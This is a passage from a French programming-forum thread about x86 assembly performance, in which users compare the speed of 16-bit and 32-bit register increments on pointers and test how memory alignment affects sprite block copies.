    mov eax,0x4001FFFF

    inc eax,1 = 0x40020000
    inc ax,1 = 40010000

    Je ne sais pas si ce genre de situation pourrait réellement arriver dans un code (par rapport à la taille des segments par exemple), mais en tout cas j'ai souvent vu des codes utilisant les registres 16 bits pour incrémenter les adresses.

  13. #33
    Membre chevronné
    Avatar de Forthman
    Homme Profil pro
    conception mécanique
    Inscrit en
    Janvier 2005
    Messages
    702
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : France, Tarn et Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : conception mécanique
    Secteur : Industrie

    Informations forums :
    Inscription : Janvier 2005
    Messages : 702
    Points : 1 905
    Points
    1 905
    Par défaut
    En fait, les instructions du processeur sont les même pour les registres 16 et 32 bits. seulement voilà...

    quand le processeur est en mode 16 bits (mode réel)
    "inc di" se code 47h
    "inc edi" se code 66h 47h

    et quand le processeur est en mode 32 bits (mode protégé)
    "inc di" se code 66h 47h
    "inc edi" se code 47h

    cela peut aussi expliquer la vitesse d'exécution non ?

  14. #34
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Un calcul en plus de ce genre pourrait effectivement expliquer cette différence.
    Parce que bon, x4 c'est vraiment énorme. D'ailleurs c'est la plus grosse différence de tout les tests que j'ai pu faire jusqu'à présent.
    J'ai testé aussi pour dx et bx, idem, mais je suppose que c'est pareil.

    Par contre ce qui est étrange c'est que ça n'a vraiment l'air de le faire que sur des pointeurs.

    Par exemple j'ai testé ça:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
     
    	mov	esi,buffer1
    	mov	ecx,0xffff0000
    	mov	cx,2048
         @@:
    	mov	al,byte [esi]
    	inc	esi
    	dec	cx
    	jnz	@b
    Histoire qu'il y ait une valeur dans la partie 32 bits d'ecx lors du "dec cx", mais ça n'impacte pas les performances.

  15. #35
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    C'est bizarre quand même..
    C'est comme si le proc savait qu'il s'agit d'un pointeur et non d'une simple valeur à incrémenter.
    C'est ça que je trouve étrange..

    J'ai essayé également l'inverse (mov, not, inc cx)
    Aucun changement.

    Et ceci donne le même résultat (au cycle près), que ce soit avec inc bl,bx ou ebx

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
     
    	mov	ebx,0x11111111
    	mov	ecx,2048
         @@:
    	mov	al,bl
    	inc	bl
    	dec	ecx
    	jnz	@b
    Il faudra que je regarde dans la doc.

  16. #36
    Membre chevronné
    Avatar de Forthman
    Homme Profil pro
    conception mécanique
    Inscrit en
    Janvier 2005
    Messages
    702
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : France, Tarn et Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : conception mécanique
    Secteur : Industrie

    Informations forums :
    Inscription : Janvier 2005
    Messages : 702
    Points : 1 905
    Points
    1 905
    Par défaut
    Je viens ici pour vous faire part de quelques expériences que j'ai réalisées.

    mes essais consistent à déplacer des blocs de données.
    ces données font approximativement 4Ko (ce sont des sprites)
    et mon test consiste à faire 100.000 et à chronométrer le temps que ça met
    La machine est un eeepc701 (processeur Atom)
    Donc pas forcément une référence.
    Je précise que je suis en mode réel/Flat

    Au début j'ai réalisé des déplacement octet par octet car mes sprites n'ont pas
    une largeur multiple de 4 (1 pixel=8 bits)
    Après avoir optimisé (à mort!) mon code, j'ai essayé de déplacer des
    blocs de 4 octets à la fois

    Résultat : 3x plus rapide pour déplacer des blocs
    J'ai donc décidé que mes sprites feraient des largeurs multiples de 4 octets

    Mais j'ai continué mes tests.
    J'ai voulu voir l'impact de la vitesse sur l'alignement des données (32bits) en mémoire
    donc j'ai testé :
    - source alignée -> destination alignée
    - source alignée -> destination non alignée
    - source non alignée -> destination alignée
    - source non alignée -> destination non alignée

    curieusement, en lecture, l'alignement ne change pratiquement rien aux
    performances.
    par conte, en écriture c'est autre chose !
    faire un transfert vers une zone alignée sur 32 bits représente un gain de
    vitesse de 47% !

    Avec toutes ces améliorations, j'ai augmenté ma vitesse d'affichage par 3
    Sur mon petit eeepc j'arrive à afficher plus de 16000 sprites de 64x64 à la
    seconde (je ne suis pas en full assembleur )

    voilà fini pour mes tests du jour
    à+ François

  17. #37
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Yep pour l'alignement, c'est la même chose sur mon proc.

    Par exemple en faisant un movsb sur 2048 byte avec les deux buffers alignés et se trouvant dans le même segment que le testcode, ça passait d'un résultat de 900 à 500..
    Pour la version full asm.. Car pour la version originale ça donne cash 500..

    C'est interessant car ça tend à prouver que les méthodes de performances donnent des résultats similaires pour d'autres procs. En tout cas pour le tiens.
    J'avais peur que ce genre de choses soit totalement inutiles car très différentes d'un proc à l'autre.

    Je reviens sur ce que j'avais posté précédemment par rapport à l'histoire des pointeurs.
    D'ailleurs je croyais l'avoir posté mais non.
    En faite, je me suis aperçu que c'est le "mov al,byte [esi]" qui fait toute la différence.
    Si on enlève cette ligne et qu'un pointeur est placé dans esi et que si est incrémenté, il n'y a plus ce problème, est le résultat est de 2079.
    Résultat de 2079 également si c'est la ligne "inc si" qui est enlevé..

    Donc qu'on vire "mov al,byte [esi]" ou "inc si", on obtient 2079.
    Sur le papier, 2079 x2 = 4158.

    Mais dans le code:
    "mov al,byte [esi]" + "inc si" = 8208

    Donc 4000 de décalage lorsqu'il y a l'association des deux instructions dans le code.

    On dirait que c'est l'association de "mov al,byte [esi]" et "inc si" qui provoque cette lenteur extrême.

    Mais est-ce que le proc change réellement de mode ?
    Par exemple, "mov al,byte [esi]", c'est du 32 bits, puisqu'il va chercher un byte à une adresse.
    Mais ensuite, pour le "inc si", est-ce que le proc doit passer dans un mode 16 bits pour executer cette instruction, ou est-ce qu'il reste dans un mode 32 bits ?

    Je pose cette question car avec tous les tests que j'ai fait, il est évident que ce n'est pas la lecture de l'instruction elle-même qui provoque cette lenteur, il y a forcément un truc que le proc fait en passant de "mov al,byte [esi]" à "inc si".

  18. #38
    Membre chevronné
    Avatar de Forthman
    Homme Profil pro
    conception mécanique
    Inscrit en
    Janvier 2005
    Messages
    702
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : France, Tarn et Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : conception mécanique
    Secteur : Industrie

    Informations forums :
    Inscription : Janvier 2005
    Messages : 702
    Points : 1 905
    Points
    1 905
    Par défaut
    Ca peut aussi venir du fait que deux instructions qui se suivent utilisent le même registre (ça court-circuite le pipeline)
    En gros, si tu intercales une instruction comme ceci :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
     @@:
    	mov	al,byte [esi]
            or ebx,ebx
    	inc	esi
    	dec	cx
    	jnz	@b
    je pense que la différence de perf ne doit pas être énorme

  19. #39
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Non malheureusement

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
     
    	mov	esi,buffer1
    	mov	ecx,2048
         @@:
    	mov	al,byte [esi]
    	or	ebx,ebx
    	inc	si
    	dec	ecx
    	jnz	@b
    Avec "inc esi" ça donne 4000, et avec "inc si" environ 8000.
    J'ai essayé d'intercaler plusieurs autres instructions, même des nops, mais rien à faire.

    Arf c'est étrange cette histoire..

  20. #40
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    J'ai regardé le code de Fasm. Le mec ne se casse pas la tête niveau performance, il utilise toutes les instructions de string.
    Bon en même temps vu la puissance des proc actuel.. Et aussi le nombre de ligne de code de Fasm.. Puis il y a tellement d'accès mémoire que ça ne changerait pas grand chose au final.

Discussions similaires

  1. Faites vos tests de performance avec nmon sous Aix
    Par Katyucha dans le forum Contribuez
    Réponses: 1
    Dernier message: 27/03/2007, 17h17
  2. Teste de performance MSDE ou SQL server EXpress
    Par mahboub dans le forum MS SQL Server
    Réponses: 4
    Dernier message: 08/12/2006, 09h34
  3. [MySQL] Test de performance général sur une application PHP
    Par Invité dans le forum PHP & Base de données
    Réponses: 6
    Dernier message: 30/06/2006, 17h36
  4. Réponses: 1
    Dernier message: 17/06/2006, 09h08
  5. [9iR2] : Test de performance
    Par debutant_oracle dans le forum Oracle
    Réponses: 2
    Dernier message: 22/02/2006, 16h22

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo